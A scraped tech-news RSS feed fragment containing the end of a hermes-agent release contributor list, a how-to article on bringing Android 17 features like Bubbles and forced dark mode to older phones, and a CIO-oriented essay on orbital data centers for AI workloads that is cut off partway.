<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oxngon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oxngon">@oxngon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OYLFLMH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OYLFLMH">@OYLFLMH</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paperclip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paperclip">@paperclip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paulb26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paulb26">@paulb26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pengyuyanITYU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pengyuyanITYU">@pengyuyanITYU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PhilipAD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PhilipAD">@PhilipAD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pinguarmy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pinguarmy">@pinguarmy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/plcunha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/plcunha">@plcunha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProgramCaiCai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProgramCaiCai">@ProgramCaiCai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/psionic73/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/psionic73">@psionic73</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qin-ctx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qin-ctx">@qin-ctx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingshan89/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingshan89">@qingshan89</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Que0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Que0x">@Que0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qWaitCrypto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qWaitCrypto">@qWaitCrypto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randomsnowflake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randomsnowflake">@randomsnowflake</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rbrtbn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rbrtbn">@rbrtbn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rio-jeong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rio-jeong">@rio-jeong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Rivuza/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Rivuza">@Rivuza</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rodboev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rodboev">@rodboev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruangraung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruangraung">@ruangraung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyTsYdUp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyTsYdUp">@RyTsYdUp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sahil-SS9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sahil-SS9">@Sahil-SS9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/salesondemandio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/salesondemandio">@salesondemandio</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sanidhyasin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sanidhyasin">@sanidhyasin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sarvesh1327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sarvesh1327">@sarvesh1327</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sdyckjq-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sdyckjq-lab">@sdyckjq-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,<br>
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,<br>
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,<br>
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,<br>
@xiaoxinova, @xtymac, @xushibo, @XVVH, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,<br>
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,<br>
@zxcasongs.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.5...v2026.6.19">v2026.6.5...v2026.6.19</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to bring the best Android 17 features to any Android phone today]]></title>
<description><![CDATA[Google’s latest and greatest Android version is officially now out in the world and available — but if you’re using any phone other than a Pixel, that doesn’t mean much for you just yet.



The reason why is simple: Despite Google officially launching Android 17 and starting to send it out to And...]]></description>
<link>https://tsecurity.de/de/3609957/it-nachrichten/how-to-bring-the-best-android-17-features-to-any-android-phone-today/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609957/it-nachrichten/how-to-bring-the-best-android-17-features-to-any-android-phone-today/</guid>
<pubDate>Fri, 19 Jun 2026 12:02:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Google’s latest and greatest Android version is officially now out in the world and available — but if you’re using any phone other than a Pixel, that doesn’t mean much for you just yet.</p>



<p>The reason why is simple: Despite Google <a href="https://blog.google/products-and-platforms/platforms/android/android-17-features" target="_blank" rel="noreferrer noopener">officially launching Android 17</a> and starting to send it out to Android phone-owners this week, it’s up to each individual device-maker to process the software and deliver it to its customers. And outside of Google itself, unfortunately, most Android device-makers are <a href="https://www.computerworld.com/article/4103529/android-16-upgrade-report-card-2.html">exasperatingly unreliable about making that happen</a> — some of ’em to <a href="https://www.computerworld.com/article/4177363/motorola-android-phones.html">almost comically bad extremes</a> (insert exaggerated sigh here).</p>



<p>Hold the phone, though — ’cause there <em>is </em>some good news here: While we can’t force any Android phone-maker to start treating software support as a priority, we <em>can</em> get creative and find ways to bring interesting new Android features to devices running older <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android versions</a>. In fact, all four of <a href="https://www.computerworld.com/article/4185786/google-pixel-android-17.html">the Android 17 features I called out earlier this week</a> can be emulated on <em>any</em> Android phone this instant. All it takes is a teensy pinch of inspiration and a dash of tenacity — and, of course, the right roadmap to make it all come together.</p>



<p>The tenacity’s on you, but if you’re game, I’ve got your roadmap ready. Here’s exactly how to enjoy a similar sort of Android-17-style sorcery on whatever phone you’re using right now — as far as some of the more surface-level highlights, at least — without having the actual Android 17 upgrade in front of you.</p>



<p><strong>[Get fresh Android tips in your inbox with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong> — one new and useful thing to try every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>Android 17 feature #1: Bubbles multitasking magic</strong></h2>



<p>The most shape-shifting Android 17 of all, without a doubt, is Bubbles — a snazzy new way to turn any app into a floating, collapsible window that’s readily available for on-demand access but also out of your hair when you aren’t actively using it.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-bubbles.webp" alt="Android 17 Bubbles" class="wp-image-4185801" width="800" height="814" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Android 17’s Bubbles multitasking system in action.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>I <a href="https://www.computerworld.com/article/4143157/android-multitasking.html">wrote about Bubbles and ways to achieve similar feats</a> just a few months back. It’s surprisingly easy to accomplish, even without Android 17 in the picture.</p>



<p>Look over <a href="https://www.computerworld.com/article/4143157/android-multitasking.html#:~:text=Android%20Bubbles%20today%3A%203%20crafty%20options">this list of crafty Bubbles-bringing workarounds</a> and see which makes the most sense for you. One way or another, you’ll find yourself facing a fantastic new option for multitasking anytime you want it — no waiting or out-of-reach upgrades required.</p>



<h2 class="wp-block-heading"><strong>Android 17 feature #2: Smarter location access</strong></h2>



<p>Our next Android 17 addition is a <em>little</em> trickier to emulate without the actual operating system update in the equation. But fear not, for this is Android — and when there’s a will, there’s a way.</p>



<p>The feature of which we speak is an expansion of Android’s framework for how apps can access your location. It’s a two-parter: First, whenever any app is accessing your location, you’ll now see a blue dot appear in the upper-right corner of your screen — and if you swipe down once from the top of your screen to open your notification panel, you can actually tap on the location icon that appears in its place to get detailed info about exactly which app or apps are involved. Second, when an app asks to access your precise location, Android 17 adds in the option to allow such access only temporarily — for that one brief moment and purpose — without giving the app permanent permission for ongoing use.</p>



<p>The second part, unfortunately, is challenging to achieve without Android 17 being present. But the first part <em>is</em> something we can make happen with a sliver of creative zest.</p>



<p>The trick revolves around a classic third-party app called <a href="https://play.google.com/store/apps/details?id=rk.android.app.privacydashboard&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Privacy Dashboard</a>. Privacy Dashboard came about <a href="https://www.computerworld.com/article/1614674/android-12-privacy-upgrade.html">back in the Android 12 era</a>, when Google first introduced a full-fledged privacy dashboard into Android and certain devices were lagging behind and taking too long to adopt it.</p>



<p>With Android 12 now being five years old, the app hasn’t had much need in recent years — until now. Interestingly enough, the ability to see full details about ongoing location access and then tap to adjust the associated app’s settings is something Privacy Dashboard has long offered. And it’s consequently a great way to bring that newfound native ability from Android 17 onto a device running an older Android version.</p>



<p>The catch is that because of the limited need for the app all this time, it’s no longer being actively developed — and as a result, if you hadn’t previously downloaded it, the Play Store will probably give you an error saying it’s made for an older Android version and can’t be installed on your device.</p>



<p>It <em>will</em> still work, though, and it’s perfectly functional and effective.</p>



<p>Provided you’re comfortable and that this won’t violate any of your company-associated policies, you can <a href="https://drive.google.com/file/d/1mx9SjEcq2qPIelP017lwSISRPzF2Nj6D/view?usp=sharing" target="_blank" rel="noreferrer noopener">download the original verified Privacy Dashboard app package from my own personal Drive storage</a>. I saved it using the <a href="https://www.computerworld.com/article/1718187/android-file-manager-apps.html">Google Files file manager</a> and then uploaded it directly to Drive. It’s quite literally the same exact app you’d get from the Play Store, if the Play Store would let you download it — and while I wouldn’t often advise installing apps from unknown sources, I don’t exactly consider myself to be “unknown” (most of the time). So as long as you share that same trust, you can grab the app from me and put it on any device you want.</p>



<p>Once you get the app installed and give it the permissions it needs to operate, open ‘er up and tap the “App Settings” options on its main screen. Tap the line that says “Indicator Customization,” beneath “Privacy Indicators,” then flip the toggle next to “Click action” into the on and active position.</p>



<p>Aaaaand, that’s it: Anytime an app is accessing your location, you’ll see a green location icon appear in the upper-right corner of your screen. And tapping it will take you to the system-level timeline of exactly which apps have accessed your location recently, for added context.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-privacy-dashboard-location-indicator.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 Privacy Dashboard location indicator" class="wp-image-4185875" width="1024" height="859" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Privacy Dashboard was ahead of its time with its Android-17-reminiscent location access indicators.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Before you install Privacy Dashboard, you might also want to try just opening an app that you know accesses your location — like Google Maps — and seeing what, if any, indicator appears in the corner of your screen and if you can tap it. While that ability is technically associated with Android 17, it was actually included in an earlier Android quarterly update, and it’s possible your device may already have that piece of the puzzle in place even if it isn’t yet running Android 17.</p>



<h2 class="wp-block-heading"><strong>Android 17 feature #3: More dynamic dark mode</strong></h2>



<p>Android’s dark mode is better than ever as of Android 17, with a nifty new way to force each and every app to respect your device-wide dark mode setting and adjust its interface to a less glary look — even if it doesn’t technically support the option.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-dark-theme-expanded.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 dark theme expanded " class="wp-image-4185802" width="1024" height="842" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Dark mode in Android 17 includes a useful new “Expanded” option.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Well, get this: If your phone’s Android software is reasonably recent, it’s entirely possible you can unlock the very same function by adjusting a few out-of-sight system settings.</p>



<p>Try this:</p>



<ul class="wp-block-list">
<li>First, you’ll need enable Android’s developer options, if you haven’t done that previously.
<ul class="wp-block-list">
<li>That’s a special, typically hidden section of Android’s system settings with all sorts of advanced options that aren’t typically intended for average phone-usin’ folk to futz around with.</li>



<li>There’s no risk to you or your phone with enabling ’em, and as long as you follow the instructions here exactly and enable only the one single setting we’re about to go over, it’s actually quite easy. (It’s also quite easy to undo, if you ever decide you aren’t into it and want to go back.) But we <em>are </em>pokin’ around in an area of Android that’s meant mostly for developers, and if you veer off-course and mess with the wrong setting, you could make a mess — so follow the steps closely, capisce?</li>
</ul>
</li>



<li>The process for enabling Android’s developer options may sound strange, but I swear it works: Head into the “About phone” section of your system settings, tap “Software information,” if needed, then find the line that says “Build number.” Tap your finger on it seven times, then enter your PIN or password, if prompted, and confirm that you want to activate the developer options.</li>



<li>Now, go back to your main settings screen and either tap on the “Developer options” that appears within that list or tap “System” and <em>then</em> tap “Developer options” from there.</li>



<li>Scroll down through that section until you see an option called “Force Dark mode.” Flip the toggle next to it.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-dark-theme-expanded-developer-settings.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 dark mode expanded - developer settings" class="wp-image-4185882" width="1024" height="762" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s developer settings holds the secret to Android-17-style “Extended” dark mode, even on older Android versions.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And there ya have it: You should now be able to open any app, even if it doesn’t officially support dark mode, and see it shift into a darkened state whenever you have dark mode enabled at the system level. </p>



<p>Easy peasy, no?</p>



<h2 class="wp-block-heading"><strong>Android 17 feature #4: A more comfy all-around view</strong></h2>



<p>Our final Android 17 feature is a saucy little somethin’ called Comfort View. It applies a softer, pastel-oriented filter to your display with automatic adjustments based on your current viewing environment in order to make your screen easier on the eyes.</p>



<p>If you’re using a Samsung device, you may already have something similar in place even with an older Android version. Look in the Display section of your system settings and see if you see something called “Adaptive color tone,” then try activating it if it’s there — and/or look for “Screen mode” and play around with some of the settings in that area to see vaguely similar sorts of adjustments. It isn’t quite as intelligent or automatic as the new incoming Android-level equivalent, but it’s a start!</p>



<p>In any other scenario — or if you just want more nuance and control, even with a Samsung gizmo — grab an app called <a href="https://play.google.com/store/apps/details?id=com.urbandroid.lux&amp;hl=en" target="_blank" rel="noreferrer noopener"><strong>Twilight</strong></a>. It’ll let you tweak all sorts of specifics about the appearance of your screen, and while it’s presented mostly for nighttime optimization, you can use those same controls to create your own custom modes for any scenario imaginable.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-comfort-view-twilight.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 Comfort View - Twilight" class="wp-image-4185874" width="1024" height="893" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Twilight can help you recreate effects similar to Android 17’s Comfort View.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>The app doesn’t collect or share any manner of data, and while it does offer a $10 Pro upgrade, the free version is perfectly functional for most purposes.</p>



<p>And with that, give yourself a pat on the back: Your phone is officially now set up to showcase some of Android 17’s finest flavors — even without the software itself being available to you yet.</p>



<p>That, my friend, is quite an accomplishment. Well done.</p>



<p><em>Don’t stop there: </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>Come check out my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>to get something new and useful in your inbox every Friday — and get my awesome Android Notification Power-Pack today.</em></p>
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<title><![CDATA[Your next data center could soon be in space. Here’s why you should care]]></title>
<description><![CDATA[For the past two decades, enterprise infrastructure strategy has been shaped by one dominant assumption: the cloud is where modern computing happens. Applications moved from corporate data centers to hyperscale cloud regions. Data moved into globally distributed storage platforms. Analytics, cybe...]]></description>
<link>https://tsecurity.de/de/3609788/it-nachrichten/your-next-data-center-could-soon-be-in-space-heres-why-you-should-care/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609788/it-nachrichten/your-next-data-center-could-soon-be-in-space-heres-why-you-should-care/</guid>
<pubDate>Fri, 19 Jun 2026 11:02:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>For the past two decades, enterprise infrastructure strategy has been shaped by one dominant assumption: the cloud is where modern computing happens. Applications moved from corporate data centers to hyperscale cloud regions. Data moved into globally distributed storage platforms. Analytics, cybersecurity, collaboration and enterprise software followed. More recently, artificial intelligence accelerated the shift, making cloud infrastructure the default foundation for experimentation, deployment and scale.</p>



<p>But the next phase of digital infrastructure may challenge a more basic assumption: that data centers must remain on Earth.</p>



<p>A growing number of space companies are exploring plans to build data centers in orbit. What once sounded like speculative science fiction is now entering the language of infrastructure planning. The drivers are clear: rising demand for AI compute, growing pressure on terrestrial data centers, constraints around power and cooling, the need for resilience and the increasing importance of distributed infrastructure for mission-critical operations.</p>



<p>This does not mean enterprises will soon move their ERP systems or customer databases into orbit. Nor does it mean terrestrial cloud infrastructure is going away. The more realistic and important point is that space could become a new layer in the enterprise infrastructure stack. For CIOs, this is not simply a space industry story. It is an early signal of where enterprise AI infrastructure may be heading.</p>



<h2 class="wp-block-heading">Space data centers are moving from science fiction to infrastructure planning</h2>



<p>The idea of putting compute and storage infrastructure in space has been discussed for years. Until recently, it was mostly treated as a futuristic concept. That is changing.</p>



<p>Space companies are now beginning to explore <a href="https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-case-for-data-centers-in-space" rel="nofollow">orbital data centers</a> as real infrastructure platforms. These systems could support secure storage, AI processing, disaster recovery, satellite operations, Earth observation, communications and eventually Earth-based enterprise workloads.</p>



<p>There are several reasons why orbit is becoming interesting:</p>



<p>First, space has access to abundant solar energy. In the right orbital configurations, infrastructure can benefit from long-duration exposure to sunlight, creating a potential energy advantage over data centers that must compete for constrained terrestrial power grids.</p>



<p>Second, space offers natural radiative cooling. Cooling has become one of the major cost and design challenges for AI data centers on Earth. In orbit, heat can be radiated into space, although the engineering challenge remains complex.</p>



<p>Third, space is already becoming a data-rich environment. Satellites, space stations, Earth observation platforms, communications networks and future orbital infrastructure generate vast amounts of data. Processing some of that data closer to where it is created could reduce latency, bandwidth demand and dependence on terrestrial networks.</p>



<p>Fourth, space introduces a new resilience model. Infrastructure in orbit could, in theory, provide an additional layer of continuity outside Earth-based risks such as regional outages, natural disasters, geopolitical disruptions, energy constraints or physical attacks on terrestrial infrastructure.</p>



<p>The near-term opportunity is not to replace traditional data centers. It is to extend the architecture of compute, storage and AI beyond Earth.</p>



<h2 class="wp-block-heading">Enterprise AI is exposing the limits of terrestrial infrastructure</h2>



<p>The timing matters because AI is putting unprecedented pressure on infrastructure. Traditional enterprise workloads were already driving cloud expansion. AI has changed the scale and urgency of the problem. Training models, running inference, supporting autonomous agents, processing multimodal data and deploying AI into operational workflows all require significant compute capacity.</p>



<p>For CIOs, the AI infrastructure challenge is no longer abstract. It shows up in very practical ways: GPU shortages, higher cloud bills, data center capacity constraints, power availability issues, cooling requirements, latency concerns and governance questions around where data and models reside.</p>



<p>In many markets, power has become one of the biggest constraints on data center growth. New AI data centers require enormous electricity supply, and grid interconnection is often slow. Cooling is another challenge, especially as dense AI compute clusters generate significant heat. Land availability, permitting, sustainability targets and regional concentration risk add further complexity.</p>



<p>This creates a strategic infrastructure question for enterprises: where should AI workloads run? The answer used to be relatively simple. Run them in the cloud, unless there is a strong reason not to. That answer is now becoming more nuanced.</p>



<p>Some workloads belong in hyperscale cloud environments because they need elasticity and access to advanced AI services. Some belong in private infrastructure because of cost, performance, compliance or data sensitivity. Some belong in sovereign cloud environments because of regulatory or national requirements. Some belong at the edge because latency, autonomy or local control matters.</p>



<p>In the future, a small but important category of workloads may also belong in orbit.</p>



<h2 class="wp-block-heading">Orbit could become a new extension of the enterprise cloud</h2>



<p>The most immediate use cases for space data centers are likely to be specialized. Disaster recovery, secure data storage, satellite data processing, communications resilience, Earth observation analytics, and government or defense workloads are more plausible early candidates than mainstream enterprise applications.</p>



<p>But CIOs should not dismiss specialized use cases as irrelevant. Many infrastructure shifts begin at the edge of the market before moving into the enterprise mainstream.</p>



<p>Cloud computing itself did not begin as the default choice for core enterprise systems. It started with web workloads, development environments, storage and elastic compute. Over time, it became the dominant operating model for enterprise technology.</p>



<p>Similarly, space data centers may begin with niche workloads that require resilience, autonomy or proximity to space-generated data. Over time, they could become part of a broader distributed infrastructure fabric.</p>



<p>For Earth-based operations, orbital infrastructure could support several categories of workload.</p>



<p>One is disaster recovery and business continuity. Critical data or AI systems could be replicated beyond terrestrial failure zones, creating an additional resilience layer for organizations where downtime or data loss carries severe consequences.</p>



<p>Another is secure storage. Certain sectors may eventually look at orbital storage as part of long-term archival, <a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">sovereign resilience</a> or high-assurance continuity planning.</p>



<p>A third is AI inference. Not all AI workloads require massive training clusters. Some require reliable, distributed inference for monitoring, detection, classification, routing and decision support. Orbital infrastructure could support AI workloads tied to global operations, satellite networks, climate systems, telecom infrastructure, maritime activity or critical infrastructure monitoring.</p>



<p>A fourth is telecom and network optimization. As satellite communications networks expand, AI-enabled infrastructure in orbit could support routing, anomaly detection, cybersecurity, spectrum management and service continuity.</p>



<p>A fifth is climate and Earth intelligence. Space-based data centers could process environmental, geospatial and atmospheric data closer to collection points, supporting faster insight for governments, insurers, energy companies, agriculture, logistics and emergency response teams.</p>



<p>These are not general-purpose enterprise workloads. They are high-value workloads where resilience, coverage, autonomy or data proximity matters.</p>



<p>That is exactly why CIOs should pay attention.</p>



<h2 class="wp-block-heading">This is not about replacing the cloud</h2>



<p>The wrong way to frame space data centers is as a replacement for terrestrial cloud.</p>



<p>The better framing is augmentation.</p>



<p>Enterprise infrastructure is already becoming hybrid. Most large organizations operate across multiple environments: public cloud, private cloud, SaaS platforms, on-prem systems, edge devices and industry-specific infrastructure. AI is making this more complex, not less.</p>



<p>Space data centers could become another layer in this architecture. Not the dominant layer. Not the cheapest layer. Not the right layer for most workloads. But potentially a valuable layer for specific workloads that require resilience, continuity, global reach or infrastructure independence.</p>



<p>The cloud itself is no longer a single place. It is a distributed operating model. Cloud regions, edge zones, sovereign clouds, private AI clusters, telecom edge nodes and industrial compute platforms are all part of the same continuum.</p>



<p>Space extends that continuum.</p>



<p>For CIOs, the practical implication is that infrastructure strategy should move from a cloud-first mindset to a workload-first mindset. The question is not “Should this run in the cloud?” The question is “Where should this workload run to deliver the best combination of performance, cost, security, resilience, compliance and control?”</p>



<p>For most workloads, the answer will remain Earth-based cloud or private infrastructure. For some, it will be the edge. For a future subset, orbit may become a viable answer.</p>



<h2 class="wp-block-heading">Enterprise AI infrastructure strategy is becoming multi-layered</h2>



<p>The rise of AI is forcing enterprises to rethink architecture in deeper ways.</p>



<p>AI is not just another application layer. It is becoming embedded into decision-making, operations, customer engagement, cybersecurity, supply chains, engineering, finance, compliance and mission-critical workflows. As AI becomes operational, the infrastructure underneath it becomes more strategic.</p>



<p>A chatbot can tolerate occasional downtime. A mission-critical AI system supporting telecom routing, energy operations, logistics resilience or defense intelligence cannot. A productivity copilot can depend on a standard cloud region. An autonomous system operating in a disconnected or contested environment may require local intelligence, secure audit trails and resilient infrastructure.</p>



<p>This is why enterprise AI infrastructure strategy is becoming multi-layered.</p>



<p>CIOs will need to think across several layers. Hyperscale cloud will remain essential for experimentation, scalability and access to AI platforms. Sovereign cloud will matter for regulated industries and public sector workloads. Private infrastructure will become important where data control, predictable cost or customization matters. Edge AI will expand wherever latency, autonomy or local decision-making is required.</p>



<p>Orbital infrastructure could eventually sit alongside these layers as a resilience and reach layer.</p>



<p>This does not mean CIOs need to budget for space data centers today. But they should begin to understand the direction of travel. The enterprise infrastructure map is expanding. AI workloads will not be placed in one environment by default. They will be distributed according to risk, performance, control and mission criticality.</p>



<p>The organizations that understand this early will be better prepared for the next phase of infrastructure competition.</p>



<h2 class="wp-block-heading">The strategic lens is optionality and control</h2>



<p>The most useful way for CIOs to think about space data centers is not novelty. It is optionality and control.</p>



<p>Space data centers could give enterprises another placement option for AI and data workloads, alongside hyperscale cloud, sovereign cloud, private infrastructure and edge environments. That matters because the future of enterprise AI will not be defined only by model performance. It will also be defined by where intelligence runs, who controls the infrastructure, how decisions are audited and whether critical systems can continue operating when terrestrial networks, regions or facilities are disrupted.</p>



<p>This is especially relevant for sectors where infrastructure failure carries outsized consequences: defense, telecom, energy, financial services, logistics, insurance, government, emergency response and critical infrastructure.</p>



<p>For these organizations, resilience is not a technical preference. It is an operating requirement.</p>



<p>CIOs should begin asking several strategic questions:</p>



<p>Which AI workloads are becoming mission-critical? Which systems need to operate even if a region, network or cloud provider is disrupted? Which data needs additional resilience beyond terrestrial infrastructure? Which workloads depend on global coverage or space-based data? Which AI decisions require verifiable audit trails? Which infrastructure dependencies create unacceptable concentration risk?</p>



<p>These questions are not only about space. They are about the future of <a href="https://www.cio.com/article/4157352/ai-is-no-longer-software-its-enterprise-infrastructure.html">enterprise AI architecture</a>.</p>



<p>Space data centers are simply making the issue more visible.</p>



<h2 class="wp-block-heading">Why CIOs should care now</h2>



<p>It would be easy to dismiss orbital data centers as too early for enterprise attention. In one sense, that is correct. Most CIOs have immediate priorities: AI governance, cloud cost control, cybersecurity, data modernization, application rationalization, regulatory compliance and talent gaps.</p>



<p>But strategic infrastructure shifts often look distant before they become unavoidable.</p>



